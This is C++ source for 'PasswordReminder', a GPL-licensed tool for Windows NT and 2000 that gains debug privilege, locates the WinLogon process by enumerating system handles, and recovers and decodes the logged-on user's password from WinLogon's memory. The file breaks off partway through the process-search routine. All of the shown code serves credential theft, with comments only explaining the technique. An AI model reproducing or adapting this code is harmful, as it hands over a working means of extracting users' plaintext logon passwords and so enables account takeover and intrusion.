// PasswordReminder.cpp
//
// This code is licensed under the terms of the GPL (gnu public license).
//
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
// Undocumented typedef's
typedef struct _QUERY_SYSTEM_INFORMATION
{
DWORD GrantedAccess;
DWORD PID;
WORD HandleType;
WORD HandleId;
DWORD Handle;
} QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION;
typedef struct _PROCESS_INFO_HEADER
{
DWORD Count;
DWORD Unk04;
DWORD Unk08;
} PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER;
typedef struct _PROCESS_INFO
{
DWORD LoadAddress;
DWORD Size;
DWORD Unk08;
DWORD Enumerator;
DWORD Unk10;
char Name [0x108];
} PROCESS_INFO, *PPROCESS_INFO;
typedef struct _ENCODED_PASSWORD_INFO
{
DWORD HashByte;
DWORD Unk04;
DWORD Unk08;
DWORD Unk0C;
FILETIME LoggedOn;
DWORD Unk18;
DWORD Unk1C;
DWORD Unk20;
DWORD Unk24;
DWORD Unk28;
UNICODE_STRING EncodedPassword;
} ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO;
typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD);
typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD);
typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID);
typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID);
typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING);
// Private Prototypes
BOOL IsWinNT (void);
BOOL IsWin2K (void);
BOOL AddDebugPrivilege (void);
DWORD FindWinLogon (void);
BOOL LocatePasswordPageWinNT (DWORD, PDWORD);
BOOL LocatePasswordPageWin2K (DWORD, PDWORD);
void DisplayPasswordWinNT (void);
void DisplayPasswordWin2K (void);
// Global Variables
PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation;
PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer;
PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation;
PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer;
PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString;
DWORD PasswordLength = 0;
PVOID RealPasswordP = NULL;
PVOID PasswordP = NULL;
DWORD HashByte = 0;
wchar_t UserName [0x400];
wchar_t UserDomain [0x400];
int __cdecl
main
(int argc,
char* argv[])
{
printf ("\n\tPasswordReminder\n\n");
if ((!IsWinNT ())
&&
(!IsWin2K ()))
{
printf ("Windows NT or Windows 2000 are required.\n");
return (0);
}
// Add debug privilege to PasswordReminder -
// this is needed for the search for Winlogon.
if (!AddDebugPrivilege ())
{
printf
("Unable to add debug privilege.\n");
return (0);
}
printf ("The debug privilege has been added to PasswordReminder.\n");
HINSTANCE hNtDll =
LoadLibrary
("NTDLL.DLL");
pfnNtQuerySystemInformation =
(PFNNTQUERYSYSTEMINFORMATION) GetProcAddress
(hNtDll,
"NtQuerySystemInformation");
pfnRtlCreateQueryDebugBuffer =
(PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress
(hNtDll,
"RtlCreateQueryDebugBuffer");
pfnRtlQueryProcessDebugInformation =
(PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress
(hNtDll,
"RtlQueryProcessDebugInformation");
pfnRtlDestroyQueryDebugBuffer =
(PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress
(hNtDll,
"RtlDestroyQueryDebugBuffer");
pfnRtlRunDecodeUnicodeString =
(PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress
(hNtDll,
"RtlRunDecodeUnicodeString");
// Locate WinLogon's PID - need debug privilege and admin rights.
DWORD WinLogonPID =
FindWinLogon ();
if (WinLogonPID == 0)
{
printf
("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n");
printf
("PasswordReminder is unable to find the password in memory.\n");
FreeLibrary
(hNtDll);
return (0);
}
printf
("The WinLogon process id is %d (0x%8.8lx).\n",
WinLogonPID,
WinLogonPID);
// Set values to check memory block against.
memset
(UserName,
0,
sizeof (UserName));
memset
(UserDomain,
0,
sizeof (UserDomain));
GetEnvironmentVariableW
(L"USERNAME",
UserName,
0x400);
GetEnvironmentVariableW
(L"USERDOMAIN",
UserDomain,
0x400);
// Locate the block of memory containing
// the password in WinLogon's memory space.
BOOL FoundPasswordPage = FALSE;
if (IsWin2K ())
FoundPasswordPage =
LocatePasswordPageWin2K
(WinLogonPID,
&PasswordLength);
else
FoundPasswordPage =
LocatePasswordPageWinNT
(WinLogonPID,
&PasswordLength);
if (FoundPasswordPage)
{
if (PasswordLength == 0)
{
printf
("The logon information is: %S/%S.\n",
UserDomain,
UserName);
printf
("There is no password.\n");
}
else
{
printf
("The encoded password is found at 0x%8.8lx and has a length of %d.\n",
RealPasswordP,
PasswordLength);
// Decode the password string.
if (IsWin2K ())
DisplayPasswordWin2K ();
else
DisplayPasswordWinNT ();
}
}
else
printf
("PasswordReminder is unable to find the password in memory.\n");
FreeLibrary
(hNtDll);
return (0);
} // main
BOOL
IsWinNT
(void)
{
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
if (GetVersionEx
(&OSVersionInfo))
return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT);
else
return (FALSE);
} // IsWinNT
BOOL
IsWin2K
(void)
{
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
if (GetVersionEx
(&OSVersionInfo))
return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT)
&&
(OSVersionInfo.dwMajorVersion == 5));
else
return (FALSE);
} // IsWin2K
BOOL
AddDebugPrivilege
(void)
{
HANDLE Token;
TOKEN_PRIVILEGES TokenPrivileges, PreviousState;
DWORD ReturnLength = 0;
if (OpenProcessToken
(GetCurrentProcess (),
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,
&Token))
if (LookupPrivilegeValue
(NULL,
"SeDebugPrivilege",
&TokenPrivileges.Privileges[0].Luid))
{
TokenPrivileges.PrivilegeCount = 1;
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
return
(AdjustTokenPrivileges
(Token,
FALSE,
&TokenPrivileges,
sizeof (TOKEN_PRIVILEGES),
&PreviousState,
&ReturnLength));
}
return (FALSE);
} // AddDebugPrivilege
// Note that the following code eliminates the need
// for PSAPI.DLL as part of the executable.
DWORD
FindWinLogon
(void)
{
#define INITIAL_ALLOCATION 0x100
DWORD rc = 0;
DWORD SizeNeeded = 0;
PVOID InfoP =
HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
INITIAL_ALLOCATION);
// Find how much memory is required.
pfnNtQuerySystemInformation
(0x10,
InfoP,
INITIAL_ALLOCATION,
&SizeNeeded);
HeapFree
(GetProcessHeap (),
0,
InfoP);
// Now, allocate the proper amount of memory.
InfoP =
HeapAlloc
(GetProcessHeap (),
HEAP_ZERO_MEMORY,
SizeNeeded);
DWORD SizeWritten = SizeNeeded;
if (pfnNtQuerySystemInformation
(0x10,
InfoP,
SizeNeeded,
&SizeWritten))
{
HeapFree
(GetProcessHeap (),
0,
InfoP);
return (0);
}
DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION);
if (NumHandles == 0)
{
HeapFree
(GetProcessHeap (),
0,
InfoP);
return (0);
}
PQUERY_SYSTEM_INFORMATION QuerySystemInformationP =
(PQUERY_SYSTEM_INFORMATION) InfoP;
DWORD i;
for (i = 1; i <= NumHandles; i++)
{
// "5" is the value of a kernel object type process.
if (QuerySystemInformationP->HandleType == 5)
{
PVOID DebugBufferP =
pfnRtlCreateQueryDebugBuffer
(0,
0);
if (pfnRtlQueryProcessDebugInformation
(QuerySystemInformationP->PID,
1,
DebugBuff
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